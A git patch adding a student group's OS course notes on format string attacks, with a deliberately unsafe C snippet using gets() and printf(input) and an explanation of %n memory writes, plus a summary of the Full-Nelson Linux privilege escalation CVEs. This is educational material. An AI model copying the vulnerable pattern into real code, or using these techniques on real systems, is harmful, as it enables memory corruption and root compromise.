From 83064e046d3af3a6c3d899b9e392580ea78d99e3 Mon Sep 17 00:00:00 2001 From: wennitao Date: Mon, 30 May 2022 16:14:30 +0800 Subject: [PATCH 1/3] upload notes --- .DS_Store | Bin 0 -> 6148 bytes group13/OS_0524.md | 69 +++++++++++++++++++++++++++++++ group13/format_string_attack.png | Bin 0 -> 123960 bytes 3 files changed, 69 insertions(+) create mode 100644 .DS_Store create mode 100644 group13/OS_0524.md create mode 100644 group13/format_string_attack.png diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..ac516011224b2efc1f21562098fe89f38178549f GIT binary patch literal 6148 zcmeHK%}xR_5S}7R!5BFh_1KFy4xor9lMUj*o5>nIsKMPpbQ9bXSR{&=eG7dfAHmmg zrY%N94_=HRGs*Ou&QF_uyXg-Ai29&a0Vo21L?z7RvH3 zVP__r9siL5`gS?Eh8}1bz^Cu0LyWwJ-A>d`%H=naS;#If<)kdg!b;)NztKZK36ep- z9`w$scN`=)p|el4?tIumcp9~b&EndDj*}pY+dWepwc40+aTdibJ*?|N-0GWgd>fE5 zFZ0df`e;-xsqO0SxTHpVwY`$6?$pNPyxiET>>pj--am{U$4}3eS%E*HkyVEictPXK zBJccO+|lthMkZC0Y({2)8DIwHo&mS<$>q6UDKC&2U4v0hp9#MpzuY&(7+8d@TUyC1HTGUN&o-= literal 0 HcmV?d00001 diff --git a/group13/OS_0524.md b/group13/OS_0524.md new file mode 100644 index 0000000..a86ff7c --- /dev/null +++ b/group13/OS_0524.md @@ -0,0 +1,69 @@ +## Topic 1: Format String Attack + +### Formatting indicators of printf + +We know that most of the formatting indicators are used for format output, such as "%s" and "%d". + +While there are some special indicators like "%n". +It calculates how many characters should have been output already at the place it appears in the string and stores it into the next argument. + +In the following example, $6$ is stored into $i$. + +```C++ +int i = 0; +printf("Hello %nworld\n", &i); +printf("i=%d\n", i); +``` + +### Format string attack + +Consider the following fragment from a C program. + +```C++ +char *s = "Hello World"; +printf("%s", s); +``` + +It can be written as follows as well, because the first argument of $printf$ is a format string, while a string without formatting information is also legal. + +```C++ +char *s = "Hello World"; +printf(s); +``` + +Then we may do this. Read a string from input and output it with some additional information. + +```C++ +char s[100], g[100] = "Hello "; +gets(s); +strcat(g, s); +printf(g); +``` + +However, the input may contain some formatting indicators and the things will change. +The "%n" indicator we mentioned above can overwrite memory. So we can overwrite the return address of the $printf$ function on the stack and jump somewhere else. + +The attacker may supply only the format string to $printf$. When $printf$ needs a second parameter, it will take the next value on the stack and use that. +So the attacker can write anything to an address on the stack. + +For example, the format string is "%08x %n", and it will write $9$ to the address of second value on the stack. + +![](format_string_attack.png) + +## Topic 2: 'Full-Nelson.c' Local Privilege Escalation + +https://www.exploit-db.com/exploits/15704 + +This exploit leverages three vulnerabilities to get root, all of which were discovered by Nelson Elhage: + +CVE-2010-4258 +------------- +This is the interesting one, and the reason I wrote this exploit. If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok(). However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger. + +CVE-2010-3849 +------------- +This is a NULL pointer dereference in the Econet protocol. By itself, it's fairly benign as a local denial-of-service. It's a perfect candidate to trigger the above issue, since it's reachable via sock_no_sendpage(), which subsequently calls sendmsg under KERNEL_DS. + +CVE-2010-3850 +------------- +I wouldn't be able to reach the NULL pointer dereference and trigger the OOPS if users weren't able to assign Econet addresses to arbitrary interfaces due to a missing capabilities check. \ No newline at end of file diff --git a/group13/format_string_attack.png b/group13/format_string_attack.png new file mode 100644 index 0000000000000000000000000000000000000000..6cbd88aabf5a404c1f1d016bf84b27d951ca5c5d GIT binary patch literal 123960 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 